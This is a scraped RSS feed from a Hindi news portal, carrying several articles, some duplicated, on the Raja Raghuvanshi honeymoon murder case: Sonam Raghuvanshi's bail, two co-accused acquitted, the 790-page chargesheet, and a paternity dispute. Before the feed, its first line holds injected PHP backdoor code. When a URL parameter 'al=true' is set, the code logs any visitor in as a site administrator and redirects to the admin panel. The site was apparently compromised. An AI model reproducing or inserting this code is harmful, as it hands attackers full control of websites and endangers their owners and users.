// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Raja Raghuvanshi – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 28 Apr 2026 16:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 राजा रघुवंशी की कातिल पत्नी सोनम को जमानत, हनीमून मर्डर के 11 महीने बाद मिली राहत https://pratyushaashakinayikiran.com/?p=215428 Tue, 28 Apr 2026 16:40:00 +0000 https://pratyushaashakinayikiran.com/?p=215428 इंदौर 

इंदौर के कारोबारी राजा रघुवंशी की मेघालय में हनीमून के दौरान हत्या करने की आरोपी पत्नी सोनम रघुवंशी को जमानत मिल गई है। राजा के भाई विपिन रघुवंशी ने इसकी पुष्टि की है। प्रेमी के साथ मिलकर पति की हत्या करने की आरोपी सोनम को हत्याकांड के 11 महीनों बाद अदालत से राहत मिली है। सोनम गिरफ्तारी के बाद से जेल में बंद थी। उसका प्रेमी राज भी शिलॉन्ग जेल में बंद है।

इंदौर के ट्रांसपोर्ट कारोबारी राजा रघुवंशी अपनी नई नवेली दुल्हन सोनम रघुवंशी के साथ 23 मई 2025 को हनीमून पर मेघालय गए थे। यहां अचानक दोनों के गायब होने की खबर आई। कई दिनों की तलाश के बाद 2 जून को एक खाई में राजा रघुवंशी की लाश मिली थी तो हत्या करके फेंके जाने की बात सामने आई। हत्याकांड के कुछ दिनों बाद सोनम को उत्तर प्रदेश से गिरफ्तार किया गया था।

सोनम रघुवंशी ने गिरफ्तारी के बाद हत्याकांड का खुलासा किया और बताया कि उसने अपने प्रेमी राज के साथ पति को मार डालने की साजिश रची थी। इसी के तहत वह राजा को शिलॉन्ग ले गई थी। इंदौर से ही गए राज के तीन दोस्तों के साथ मिलकर सोनम ने अपने हाथों से ही अपना सुहाग उजाड़ लिया था। पति को मारकर उसने खाई में फेंक दिया। राजा को धारदार हथियार से मारा गया था और पत्थर से भी वार किया गया था। सोनम और राज ने इस हत्याकांड को अंजाम देने के लिए बेहद चालाकी के साथ पूरी साजिश रची थी। वह इस लूटपाट के दौरान हुई हत्या के रूप में दिखाना चाहते थे।

जमानत किस आधार पर मिली है? इस सवाल पर उन्होंने बताया कि जिस तरह से उत्तर प्रदेश के गाजीपुर से उसे उठाया गया था, उस दौरान पुलिस ने नहीं बताया था कि सोनम को क्यों उठाया गया है। इसी आधार पर सोनम के वकील ने तर्क दिए थे। पेशी पर मुझे बुलाया नहीं गया था। राज कुशवाहा की जमानत के लिए अर्जी लगाई गई है। हम लोग हाईकोर्ट में जाएंगे।

राजा रघुवंशी मर्डर केस में गिरफ्तार पांच में से अब तक चार आरोपियों को जमानत मिल चुकी है। इनमें सोनम, लोकेंद्र सिंह तोमर, गार्ड बलबीर अहिरवार और शिलोम जेम्स हैं।

11 मई 2025 को शादी, 21 को हनीमून और 23 को हुई थी राजा की हत्या

राजा रघुवंशी की सोनम से शादी इसी साल 11 मई 2025 को हुई थी। सोनम रघुवंशी और राजा 21 मई को हनीमून मनाने के लिए मेघालय के शिलॉन्ग गए थे, जहां 23 मई को हनीमून के दौरान लापता हो गए।

10 दिन बाद पुलिस ने 30 फीट गहरी खाई से उनका क्षत-विक्षत शव बरामद किया, जिस पर धारदार हथियार से किए गए कई घाव थे। सोनम तब लापता थी। इसके बाद यूपी में उसने सरेंडर किया था। उससे पूछताछ के बाद आकाश, आनंद और विशाल को पकड़ा था।

सोनम के राज कुशवाहा से प्रेम सबंध थे। हालांकि, उसके परिवार ने इस बात से इनकार किया था। पत्नी सोनम राजा को दर्शनीय स्थलों की सैर के बहाने एक सुदूर स्थान पर बुलाकर ले गई थी। उनके पीछे अन्य तीनों हत्या के आरोपी भी चले गए थे। फिर दो छुरों से वार कर उसकी हत्या कर दी, जिनमें से एक छुरा बाद में जंगल से बरामद किया गया।

सोनम घटनास्थल से भाग गई और बाद में उसने उत्तर प्रदेश में पुलिस के समक्ष आत्मसमर्पण कर दिया। सोनम और राज सहित सभी पांचों आरोपी फिलहाल न्यायिक हिरासत में हैं।

तीन बार रद्द हो चुकी थी जमानत याचिका
सोनम पति राजा रघुवंशी की हत्या के आरोप में जून 2025 से शिलॉन्ग जेल में बंद है। सोनम की ओर से इससे पूर्व तीन बार जमानत याचिका दायर की गई, लेकिन तीनों बार कोर्ट ने खारिज कर दी थी। जबकि, सोनम रघुवंशी के मददगार रहे लोकेंद्र सिंह तोमर, गार्ड बलबीर अहिरवार और शिलोम जेम्स को अदालत ने जमानत दे दी थी।

अब सोनम की चौथी याचिका मंजूर करते हुए कोर्ट ने उसे जमानत दे दी है। राजा रघुवंशी की हत्या में सोनम रघुवंशी का सहयोगी रहा उसका कथित प्रेमी राज कुशवाह अभी भी जेल में बंद है।

यूपी में पकड़ी गई थी सोनम
हत्याकांड को अंजाम देने के बाद सोनम बड़ी चालाकी से वहां से भाग निकली थी। इंदौर आकर उसने प्रेमी के साथ मुलाकात भी की और फिर जब तीन आरोपी पकड़े गए तो उसे अपनी गिरफ्तारी का अंदाजा हो गया और वह आखिरकर यूपी में पकड़ी गई। सोनम ने जिस तरह इस हत्याकांड को अंजाम दिया उसने पूरे देश को झकझोर कर रख दिया।

परिवार ने तोड़ लिया था रिश्ता
सोनम रघुवंशी तब से ही शिलॉन्ग जेल में बंद थी। शुरुआत में उसके परिवार ने सोनम से रिश्ता तोड़ने और किसी तरह की कानूनी मदद नहीं उपलब्ध कराने की बात कही थी। सोनम के भाई राजा के लिए वकील उपलब्ध कराने की बात कह रहे थे। हालांकि, बाद में सोनम को कानूनी मदद दी गई। राजा रघुवंशी के परिवार ने शिलॉन्ग में जाकर उस जगह पूजा-पाठ भी किया था जहां राजा की हत्या की गई थी।

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राजा रघुवंशी की कातिल पत्नी सोनम को जमानत, हनीमून मर्डर के 11 महीने बाद मिली राहत https://pratyushaashakinayikiran.com/?p=215430 Tue, 28 Apr 2026 16:40:00 +0000 https://pratyushaashakinayikiran.com/?p=215430 इंदौर 

इंदौर के कारोबारी राजा रघुवंशी की मेघालय में हनीमून के दौरान हत्या करने की आरोपी पत्नी सोनम रघुवंशी को जमानत मिल गई है। राजा के भाई विपिन रघुवंशी ने इसकी पुष्टि की है। प्रेमी के साथ मिलकर पति की हत्या करने की आरोपी सोनम को हत्याकांड के 11 महीनों बाद अदालत से राहत मिली है। सोनम गिरफ्तारी के बाद से जेल में बंद थी। उसका प्रेमी राज भी शिलॉन्ग जेल में बंद है।

इंदौर के ट्रांसपोर्ट कारोबारी राजा रघुवंशी अपनी नई नवेली दुल्हन सोनम रघुवंशी के साथ 23 मई 2025 को हनीमून पर मेघालय गए थे। यहां अचानक दोनों के गायब होने की खबर आई। कई दिनों की तलाश के बाद 2 जून को एक खाई में राजा रघुवंशी की लाश मिली थी तो हत्या करके फेंके जाने की बात सामने आई। हत्याकांड के कुछ दिनों बाद सोनम को उत्तर प्रदेश से गिरफ्तार किया गया था।

सोनम रघुवंशी ने गिरफ्तारी के बाद हत्याकांड का खुलासा किया और बताया कि उसने अपने प्रेमी राज के साथ पति को मार डालने की साजिश रची थी। इसी के तहत वह राजा को शिलॉन्ग ले गई थी। इंदौर से ही गए राज के तीन दोस्तों के साथ मिलकर सोनम ने अपने हाथों से ही अपना सुहाग उजाड़ लिया था। पति को मारकर उसने खाई में फेंक दिया। राजा को धारदार हथियार से मारा गया था और पत्थर से भी वार किया गया था। सोनम और राज ने इस हत्याकांड को अंजाम देने के लिए बेहद चालाकी के साथ पूरी साजिश रची थी। वह इस लूटपाट के दौरान हुई हत्या के रूप में दिखाना चाहते थे।

जमानत किस आधार पर मिली है? इस सवाल पर उन्होंने बताया कि जिस तरह से उत्तर प्रदेश के गाजीपुर से उसे उठाया गया था, उस दौरान पुलिस ने नहीं बताया था कि सोनम को क्यों उठाया गया है। इसी आधार पर सोनम के वकील ने तर्क दिए थे। पेशी पर मुझे बुलाया नहीं गया था। राज कुशवाहा की जमानत के लिए अर्जी लगाई गई है। हम लोग हाईकोर्ट में जाएंगे।

राजा रघुवंशी मर्डर केस में गिरफ्तार पांच में से अब तक चार आरोपियों को जमानत मिल चुकी है। इनमें सोनम, लोकेंद्र सिंह तोमर, गार्ड बलबीर अहिरवार और शिलोम जेम्स हैं।

11 मई 2025 को शादी, 21 को हनीमून और 23 को हुई थी राजा की हत्या

राजा रघुवंशी की सोनम से शादी इसी साल 11 मई 2025 को हुई थी। सोनम रघुवंशी और राजा 21 मई को हनीमून मनाने के लिए मेघालय के शिलॉन्ग गए थे, जहां 23 मई को हनीमून के दौरान लापता हो गए।

10 दिन बाद पुलिस ने 30 फीट गहरी खाई से उनका क्षत-विक्षत शव बरामद किया, जिस पर धारदार हथियार से किए गए कई घाव थे। सोनम तब लापता थी। इसके बाद यूपी में उसने सरेंडर किया था। उससे पूछताछ के बाद आकाश, आनंद और विशाल को पकड़ा था।

सोनम के राज कुशवाहा से प्रेम सबंध थे। हालांकि, उसके परिवार ने इस बात से इनकार किया था। पत्नी सोनम राजा को दर्शनीय स्थलों की सैर के बहाने एक सुदूर स्थान पर बुलाकर ले गई थी। उनके पीछे अन्य तीनों हत्या के आरोपी भी चले गए थे। फिर दो छुरों से वार कर उसकी हत्या कर दी, जिनमें से एक छुरा बाद में जंगल से बरामद किया गया।

सोनम घटनास्थल से भाग गई और बाद में उसने उत्तर प्रदेश में पुलिस के समक्ष आत्मसमर्पण कर दिया। सोनम और राज सहित सभी पांचों आरोपी फिलहाल न्यायिक हिरासत में हैं।

तीन बार रद्द हो चुकी थी जमानत याचिका
सोनम पति राजा रघुवंशी की हत्या के आरोप में जून 2025 से शिलॉन्ग जेल में बंद है। सोनम की ओर से इससे पूर्व तीन बार जमानत याचिका दायर की गई, लेकिन तीनों बार कोर्ट ने खारिज कर दी थी। जबकि, सोनम रघुवंशी के मददगार रहे लोकेंद्र सिंह तोमर, गार्ड बलबीर अहिरवार और शिलोम जेम्स को अदालत ने जमानत दे दी थी।

अब सोनम की चौथी याचिका मंजूर करते हुए कोर्ट ने उसे जमानत दे दी है। राजा रघुवंशी की हत्या में सोनम रघुवंशी का सहयोगी रहा उसका कथित प्रेमी राज कुशवाह अभी भी जेल में बंद है।

यूपी में पकड़ी गई थी सोनम
हत्याकांड को अंजाम देने के बाद सोनम बड़ी चालाकी से वहां से भाग निकली थी। इंदौर आकर उसने प्रेमी के साथ मुलाकात भी की और फिर जब तीन आरोपी पकड़े गए तो उसे अपनी गिरफ्तारी का अंदाजा हो गया और वह आखिरकर यूपी में पकड़ी गई। सोनम ने जिस तरह इस हत्याकांड को अंजाम दिया उसने पूरे देश को झकझोर कर रख दिया।

परिवार ने तोड़ लिया था रिश्ता
सोनम रघुवंशी तब से ही शिलॉन्ग जेल में बंद थी। शुरुआत में उसके परिवार ने सोनम से रिश्ता तोड़ने और किसी तरह की कानूनी मदद नहीं उपलब्ध कराने की बात कही थी। सोनम के भाई राजा के लिए वकील उपलब्ध कराने की बात कह रहे थे। हालांकि, बाद में सोनम को कानूनी मदद दी गई। राजा रघुवंशी के परिवार ने शिलॉन्ग में जाकर उस जगह पूजा-पाठ भी किया था जहां राजा की हत्या की गई थी।

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राजा रघुवंशी हत्याकांड: गार्ड और बिल्डिंग मालिक बरी, सोनम का बैग ठिकाने लगाने का आरोप पड़ा कमजोर https://pratyushaashakinayikiran.com/?p=195503 Wed, 04 Feb 2026 13:38:00 +0000 https://pratyushaashakinayikiran.com/?p=195503 इंदौर 

इंदौर के बहुचर्चित ट्रांसपोर्ट कारोबारी राजा रघुवंशी हत्याकांड में न्यायालय ने एक महत्वपूर्ण फैसला सुनाया है। इस केस में आरोपी बनाए गए गार्ड बलवीर सिंह अहिरवार और बिल्डिंग मालिक लोकेंद्र सिंह तोमर को अदालत ने दोषमुक्त कर दिया है। सबूतों की कमी के कारण इन्हें रिहा करने का आदेश दिया गया है। पुलिस ने पहले इन्हें साक्ष्य मिटाने के आरोप में गिरफ्तार किया था, लेकिन मामले की गहन जांच में हत्याकांड से इनका कोई सीधा संबंध साबित नहीं हो पाया। 

चर्चित राजा रघुवंशी हत्याकांड में कोर्ट ने गार्ड और बिल्डिंग मालिक को दोषमुक्त कर दिया है। शिलॉन्ग पुलिस द्वारा सबूत छिपाने के आरोप में गिरफ्तार किए गए बलवीर सिंह अहिरवार और लोकेंद्र सिंह तोमर को पर्याप्त साक्ष्य नहीं मिलने पर राहत दी गई है। कोर्ट के इस फैसले से जांच एजेंसियों की शुरुआती थ्योरी पर गंभीर सवाल खड़े हो गए हैं।

बरी किए गए आरोपियों में लसूड़िया क्षेत्र की एक बिल्डिंग का गार्ड बलवीर सिंह अहिरवार और भवन मालिक लोकेंद्र सिंह तोमर शामिल हैं। पुलिस का आरोप था कि दोनों ने कॉन्ट्रैक्टर शिलॉम के साथ मिलकर राजा रघुवंशी की हत्या के बाद सोनम रघुवंशी का बैग और अन्य सबूत ठिकाने लगाने में मदद की। इसी आधार पर उन्हें गिरफ्तार किया गया था।

आरोपियों के शामिल होने को लेकर ठोस सबूत नहीं बिजली बिल और अन्य तकनीकी तथ्यों की जांच के बाद पुलिस को आरोपियों की संलिप्तता के ठोस सबूत नहीं मिले। शिलॉन्ग की ईस्ट खासी हिल्स के एसपी विवेक सिगम ने बताया कि शुरुआती परिस्थितियों और मिली जानकारियों के आधार पर गिरफ्तारी की गई थी। बाद में जांच और वेरिफिकेशन में उनकी भूमिका साबित नहीं हो सकी। इसी कारण दोनों को दोषमुक्त कर दिया गया।

पुलिस ने बताया कि मामले में आगे की जांच जारी है। सभी पहलुओं को ध्यान में रखते हुए साक्ष्य जुटाए जा रहे हैं। मुख्य आरोपी सोनम रघुवंशी और राज कुशवाह सहित अन्य आरोपी फिलहाल न्यायिक हिरासत में हैं।

जांच में क्यों कमजोर पड़ी पुलिस की दलील?
विस्तृत जांच के दौरान पुलिस को आरोपियों की संलिप्तता से जुड़े ठोस सबूत नहीं मिले। बिजली बिल, किराया एग्रीमेंट और अन्य तकनीकी दस्तावेजों की जांच के बाद यह स्पष्ट नहीं हो सका कि गार्ड या बिल्डिंग मालिक ने जानबूझकर किसी साक्ष्य को नष्ट किया हो। शिलॉन्ग के ईस्ट खासी हिल्स के एसपी विवेक सिगम ने अदालत में बताया कि शुरुआती परिस्थितिजन्य तथ्यों के आधार पर कार्रवाई की गई थी, लेकिन बाद की जांच में आरोप प्रमाणित नहीं हो सके।

शिलॉन्ग में खाई में मिला था राजा का शव इंदौर के ट्रांसपोर्ट कारोबारी राजा रघुवंशी की 11 मई को सोनम के साथ शादी हुई थी। 20 मई को राजा और सोनम हनीमून के लिए इंदौर से मेघालय रवाना हुए थे। 22 मई को दोनों सोहरा की यात्रा पर निकले थे। उन्होंने एक एक्टिवा भी किराए पर ली थी।

पेड़ काटने वाले हथियार से की गई राजा की हत्या 24 जून को राजा-सोनम से परिवार का संपर्क टूट गया था। 27 मई से दोनों की सर्चिंग शुरू की गई। 29 मई को तेज बारिश के कारण सर्चिंग रोकनी पड़ी थी। इसके बाद 30 मई को दोबारा सर्चिंग शुरू की गई। 2 जून को खाई में राजा का शव मिला। 3 जून को राजा की पोस्टमॉर्टम रिपोर्ट में पता चला कि उसकी हत्या पेड़ काटने वाले हथियार से की गई थी।

सोनम यूपी के गाजीपुर स्थित एक ढाबे पर मिली इसके बाद पुलिस सोनम की तलाश में जुट गई। 9 जून को सोनम यूपी के गाजीपुर स्थित एक ढाबे पर मिली थी। इसके बाद परत-दर-परत मामले में कई खुलासे हुए। इन खुलासों ने रघुवंशी परिवार सहित सभी को चौंका दिया था। इसमें मामले में पुलिस ने 8 आरोपियों को गिरफ्तार किया था, जिनमें से दो को कोर्ट ने सबूतों के अभाव में बरी कर दिया है।

कहां रुके थे सोनम और विशाल?
पुलिस जांच में सामने आया था कि राजा की हत्या के बाद सोनम रघुवंशी और विशाल चौहान कुछ समय के लिए इंदौर के लसूड़िया क्षेत्र स्थित एक बिल्डिंग में ठहरे थे। यह बिल्डिंग कॉन्ट्रैक्टर शिलॉम जेम्स के किराए की बताई गई थी, जिसे ब्रोकर के माध्यम से लिया गया था। कमरे का एग्रीमेंट विशाल चौहान के नाम पर हुआ था। इसी कड़ी में गार्ड और बिल्डिंग मालिक की भूमिका की जांच की गई, लेकिन उनके खिलाफ कोई ठोस साक्ष्य नहीं मिले।

इंदौर के ट्रांसपोर्ट कारोबारी राजा रघुवंशी की 11 मई को सोनम से शादी हुई थी। 20 मई को दोनों हनीमून के लिए मेघालय रवाना हुए। 22 मई को वे सोहरा (चेरापूंजी) क्षेत्र घूमने निकले, जहां 2 जून को राजा का शव एक खाई में मिला। पोस्टमॉर्टम रिपोर्ट में खुलासा हुआ कि उसकी हत्या पेड़ काटने वाले धारदार हथियार से की गई थी।

मामले में मुख्य आरोपी सोनम रघुवंशी, राज कुशवाह और अन्य आरोपी फिलहाल न्यायिक हिरासत में हैं। पुलिस का कहना है कि जांच जारी है और सभी पहलुओं की गहन पड़ताल की जा रही है।

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राजा रघुवंशी हत्याकांड: गार्ड और बिल्डिंग मालिक बरी, सोनम का बैग ठिकाने लगाने का आरोप पड़ा कमजोर https://pratyushaashakinayikiran.com/?p=195505 Wed, 04 Feb 2026 13:38:00 +0000 https://pratyushaashakinayikiran.com/?p=195505 इंदौर 

इंदौर के बहुचर्चित ट्रांसपोर्ट कारोबारी राजा रघुवंशी हत्याकांड में न्यायालय ने एक महत्वपूर्ण फैसला सुनाया है। इस केस में आरोपी बनाए गए गार्ड बलवीर सिंह अहिरवार और बिल्डिंग मालिक लोकेंद्र सिंह तोमर को अदालत ने दोषमुक्त कर दिया है। सबूतों की कमी के कारण इन्हें रिहा करने का आदेश दिया गया है। पुलिस ने पहले इन्हें साक्ष्य मिटाने के आरोप में गिरफ्तार किया था, लेकिन मामले की गहन जांच में हत्याकांड से इनका कोई सीधा संबंध साबित नहीं हो पाया। 

चर्चित राजा रघुवंशी हत्याकांड में कोर्ट ने गार्ड और बिल्डिंग मालिक को दोषमुक्त कर दिया है। शिलॉन्ग पुलिस द्वारा सबूत छिपाने के आरोप में गिरफ्तार किए गए बलवीर सिंह अहिरवार और लोकेंद्र सिंह तोमर को पर्याप्त साक्ष्य नहीं मिलने पर राहत दी गई है। कोर्ट के इस फैसले से जांच एजेंसियों की शुरुआती थ्योरी पर गंभीर सवाल खड़े हो गए हैं।

बरी किए गए आरोपियों में लसूड़िया क्षेत्र की एक बिल्डिंग का गार्ड बलवीर सिंह अहिरवार और भवन मालिक लोकेंद्र सिंह तोमर शामिल हैं। पुलिस का आरोप था कि दोनों ने कॉन्ट्रैक्टर शिलॉम के साथ मिलकर राजा रघुवंशी की हत्या के बाद सोनम रघुवंशी का बैग और अन्य सबूत ठिकाने लगाने में मदद की। इसी आधार पर उन्हें गिरफ्तार किया गया था।

आरोपियों के शामिल होने को लेकर ठोस सबूत नहीं बिजली बिल और अन्य तकनीकी तथ्यों की जांच के बाद पुलिस को आरोपियों की संलिप्तता के ठोस सबूत नहीं मिले। शिलॉन्ग की ईस्ट खासी हिल्स के एसपी विवेक सिगम ने बताया कि शुरुआती परिस्थितियों और मिली जानकारियों के आधार पर गिरफ्तारी की गई थी। बाद में जांच और वेरिफिकेशन में उनकी भूमिका साबित नहीं हो सकी। इसी कारण दोनों को दोषमुक्त कर दिया गया।

पुलिस ने बताया कि मामले में आगे की जांच जारी है। सभी पहलुओं को ध्यान में रखते हुए साक्ष्य जुटाए जा रहे हैं। मुख्य आरोपी सोनम रघुवंशी और राज कुशवाह सहित अन्य आरोपी फिलहाल न्यायिक हिरासत में हैं।

जांच में क्यों कमजोर पड़ी पुलिस की दलील?
विस्तृत जांच के दौरान पुलिस को आरोपियों की संलिप्तता से जुड़े ठोस सबूत नहीं मिले। बिजली बिल, किराया एग्रीमेंट और अन्य तकनीकी दस्तावेजों की जांच के बाद यह स्पष्ट नहीं हो सका कि गार्ड या बिल्डिंग मालिक ने जानबूझकर किसी साक्ष्य को नष्ट किया हो। शिलॉन्ग के ईस्ट खासी हिल्स के एसपी विवेक सिगम ने अदालत में बताया कि शुरुआती परिस्थितिजन्य तथ्यों के आधार पर कार्रवाई की गई थी, लेकिन बाद की जांच में आरोप प्रमाणित नहीं हो सके।

शिलॉन्ग में खाई में मिला था राजा का शव इंदौर के ट्रांसपोर्ट कारोबारी राजा रघुवंशी की 11 मई को सोनम के साथ शादी हुई थी। 20 मई को राजा और सोनम हनीमून के लिए इंदौर से मेघालय रवाना हुए थे। 22 मई को दोनों सोहरा की यात्रा पर निकले थे। उन्होंने एक एक्टिवा भी किराए पर ली थी।

पेड़ काटने वाले हथियार से की गई राजा की हत्या 24 जून को राजा-सोनम से परिवार का संपर्क टूट गया था। 27 मई से दोनों की सर्चिंग शुरू की गई। 29 मई को तेज बारिश के कारण सर्चिंग रोकनी पड़ी थी। इसके बाद 30 मई को दोबारा सर्चिंग शुरू की गई। 2 जून को खाई में राजा का शव मिला। 3 जून को राजा की पोस्टमॉर्टम रिपोर्ट में पता चला कि उसकी हत्या पेड़ काटने वाले हथियार से की गई थी।

सोनम यूपी के गाजीपुर स्थित एक ढाबे पर मिली इसके बाद पुलिस सोनम की तलाश में जुट गई। 9 जून को सोनम यूपी के गाजीपुर स्थित एक ढाबे पर मिली थी। इसके बाद परत-दर-परत मामले में कई खुलासे हुए। इन खुलासों ने रघुवंशी परिवार सहित सभी को चौंका दिया था। इसमें मामले में पुलिस ने 8 आरोपियों को गिरफ्तार किया था, जिनमें से दो को कोर्ट ने सबूतों के अभाव में बरी कर दिया है।

कहां रुके थे सोनम और विशाल?
पुलिस जांच में सामने आया था कि राजा की हत्या के बाद सोनम रघुवंशी और विशाल चौहान कुछ समय के लिए इंदौर के लसूड़िया क्षेत्र स्थित एक बिल्डिंग में ठहरे थे। यह बिल्डिंग कॉन्ट्रैक्टर शिलॉम जेम्स के किराए की बताई गई थी, जिसे ब्रोकर के माध्यम से लिया गया था। कमरे का एग्रीमेंट विशाल चौहान के नाम पर हुआ था। इसी कड़ी में गार्ड और बिल्डिंग मालिक की भूमिका की जांच की गई, लेकिन उनके खिलाफ कोई ठोस साक्ष्य नहीं मिले।

इंदौर के ट्रांसपोर्ट कारोबारी राजा रघुवंशी की 11 मई को सोनम से शादी हुई थी। 20 मई को दोनों हनीमून के लिए मेघालय रवाना हुए। 22 मई को वे सोहरा (चेरापूंजी) क्षेत्र घूमने निकले, जहां 2 जून को राजा का शव एक खाई में मिला। पोस्टमॉर्टम रिपोर्ट में खुलासा हुआ कि उसकी हत्या पेड़ काटने वाले धारदार हथियार से की गई थी।

मामले में मुख्य आरोपी सोनम रघुवंशी, राज कुशवाह और अन्य आरोपी फिलहाल न्यायिक हिरासत में हैं। पुलिस का कहना है कि जांच जारी है और सभी पहलुओं की गहन पड़ताल की जा रही है।

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इंदौर: राजा रघुवंशी मर्डर केस में 790 पेज की चार्जशीट दाखिल, हनीमून से कत्ल तक का खुलासा https://pratyushaashakinayikiran.com/?p=183401 Sat, 06 Sep 2025 08:16:00 +0000 https://pratyushaashakinayikiran.com/?p=183401 इंदौर

मेघालय पुलिस ने इंदौर के कारोबारी राजा रघुवंशी की हत्या के मामले में बड़ी कार्रवाई की है. इस बहुचर्चित हनीमून मर्डर केस में पुलिस की एसआईटी ने लंबी जांच के बाद शुक्रवार को अदालत में 790 पन्नों की चार्जशीट दाखिल की. चार्जशीट में राजा रघुवंशी की पत्नी सोनम रघुवंशी, उसके कथित प्रेमी राज कुशवाहा और उनके तीन साथी आकाश राजपूत, आनंद कुरमी और विशाल सिंह चौहान को आरोपी बनाया गया है. ये सभी आरोपी न्यायिक हिरासत में हैं.

हनीमून मर्डर केस में दाखिल चार्जशीट कितने पन्नों की है?

पुलिस ने यह चार्जशीट सोहरा सब-डिवीजन के प्रथम श्रेणी न्यायिक दंडाधिकारी की अदालत में दाखिल की है. इसमें 790 पन्नों में घटनाक्रम, गवाहों के बयान, फॉरेंसिक रिपोर्ट और तकनीकी सबूतों का ब्योरा दर्ज किया गया है.

हनीमून मर्डर केस में मुख्य आरोपी कौन है?

चार्जशीट के अनुसार, सोनम और उसके प्रेमी राज कुशवाहा ने मिलकर राजा रघुवंशी की हत्या की साजिश रची थी. आरोप है कि शादी के बाद हनीमून ट्रिप के दौरान ही पति की हत्या की प्लानिंग की गई थी. अन्य तीन आरोपियों ने इस साजिश को अंजाम देने में मदद की.

हनीमून मर्डर चार्जशीट में कौन से सबूतों का जिक्र है?

चार्जशीट में हत्या, सबूत मिटाने और आपराधिक साजिश के तहत आरोप दर्ज किए गए हैं. आरोपियों पर धारा 103(1) BNS (हत्या), धारा 238(a) BNS (सबूत मिटाना), और धारा 61(2) BNS (आपराधिक साजिश) के तहत केस दर्ज है. इसके अलावा कॉल रिकॉर्ड्स, मोबाइल डेटा और गवाहों के बयान भी इसमें शामिल किए गए हैं.

क्या सोनम ने हनीमून मर्डर केस में अपनी भूमिका स्वीकार की है?

बता दें कि क्राइम सीन रीक्रिएशन के दौरान सोनम रघुवंशी ने स्वीकार किया था कि हत्या के समय वह मौके पर मौजूद थी. जांच टीम को दिए बयान में उसने बताया था कि पार्किंग लॉट में ही उसने किलर्स को इशारा कर दिया था. अब चार्जशीट में सोनम को मुख्य आरोपी के तौर पर नामजद किया गया है.

ईस्ट खासी हिल्स के एसपी विवेक सियेम ने बताया कि इस मामले में तीन और सह-आरोपियों के खिलाफ सप्लीमेंट्री चार्जशीट दाखिल की जाएगी, जैसे ही अतिरिक्त फॉरेंसिक रिपोर्ट मिल जाती है. ये तीन सह आरोपी हैं, जिनमें प्रॉपर्टी डीलर सिलोमे जेम्स, लोकेन्द्र तोमर (वह बिल्डिंग मालिक जहां हत्या के बाद सोनम छिपी थी) और बलबीर अहिरवार (सिक्योरिटी गार्ड) शामिल हैं. इन तीनों को सबूत नष्ट करने और छिपाने के आरोप में पहले गिरफ्तार किया गया था, लेकिन फिलहाल ये जमानत पर बाहर हैं.

हनीमून मर्डर केस में ट्रायल कब शुरू होगा?

अदालत में चार्जशीट दाखिल होने के बाद अब ट्रायल प्रक्रिया जल्द शुरू होने की संभावना है. हत्या का यह मामला बेहद चर्चा में रहा, यह घटना शादी के तुरंत बाद हनीमून ट्रिप के दौरान हुई थी. चार्जशीट दाखिल होने के बाद अब इस हाई-प्रोफाइल केस की अदालत में सुनवाई तेज होने की उम्मीद है.

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DNA रिपोर्ट ने उगला सच! महिला बोली- सचिन ही है बेटे का पिता, रघुवंशी परिवार में मचा हड़कंप https://pratyushaashakinayikiran.com/?p=175360 Sun, 03 Aug 2025 14:26:00 +0000 https://pratyushaashakinayikiran.com/?p=175360  इंदौर

मेघालय हनीमून मर्डर केस से सुर्खियों में आया इंदौर का रघुवंशी परिवार अब एक नए विवाद के केंद्र में आ गया है। मृतक राजा रघुवंशी के बड़े भाई सचिन रघुवंशी की पत्नी होने का दावा करने वाली एक महिला ने सचिन को अपने बेटे का जैविक पिता बताया है। इतना ही नहीं, उस महिला ने अपने दावे के समर्थन में एक कथित डीएनए रिपोर्ट भी सार्वजनिक की है। महिला के इस सनसनीखेज खुलासे ने इंदौर के सबसे चर्चित मामलों में से एक को लेकर चल रही कानूनी और भावनात्मक लड़ाई में एक नया आयाम जोड़ दिया है।

 महिला ने 1 अगस्त को एक प्रेस कॉन्फ्रेंस के दौरान मीडिया से बात करते हुए भावुक स्वर में कहा कि डीएनए टेस्ट से पुष्टि होती है कि सचिन रघुवंशी ही उसके बेटे का पिता है। उसने दावा किया कि सचिन ने उससे एक मंदिर में पूरे रस्मों-रिवाज के साथ शादी की थी। उसके पास शादी के वीडियो और तस्वीरें भी हैं। प्रेस कॉन्फ्रेंस के दौरान महिला ये तस्वीरें भी दिखाई ।

आंखों में आंसू भरकर महिला ने कहा, “मेरे बच्चे को जानबूझकर ठुकरा दिया गया। यह न केवल मेरा अपमान है, बल्कि मेरे बच्चे का भी अपमान है। आज मेरा बच्चा दर-दर भटक रहा है। सचिन को अब जवाब देना होगा।"
इंसाफ के लिए हाईकोर्ट का दरवाजा खटखटाया : महिला

उसने कहा, "अगर सचिन ने सही ढंग से शादी की होती और हमारे रिश्ते को स्वीकार किया होता, तो हमें इस अपमान से नहीं गुजरना पड़ता।" उसने आगे कहा कि उसने इसके लिए कोर्ट का दरवाजा भी खटखटाया। मैंने जब भी न्याय की मांग की, तो परिवार ने हर बार मुझसे मुंह मोड़ लिया और मेरा अपमान किया। महिला ने आगे कहा कि अब उसने अपने बेटे को मान्यता और कानूनी अधिकार दिलाने की उम्मीद में हाईकोर्ट का दरवाजा खटखटाया है। उसने कहा, “मुझे विश्वास है कि हाईकोर्ट से न्याय मिलेगा।”

राजा रघुवंशी की हनीमून के दौरान हुई रहस्यमयी मौत के बाद से रघुवंशी परिवार पहले से ही सुर्खियों में बना हुआ था। सचिन पर लगे ताजा आरोपों ने इस मामले में लोगों की दिलचस्पी और बढ़ा दी है। साथ ही परिवार पर नए सवाल भी खड़े कर दिए हैं। 

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राजा रघुवंशी केस में लोकेंद्र तोमर और बलबीर अहिरवार को मिली जमानत https://pratyushaashakinayikiran.com/?p=170662 Tue, 15 Jul 2025 09:57:00 +0000 https://pratyushaashakinayikiran.com/?p=170662  इंदौर/शिलांग
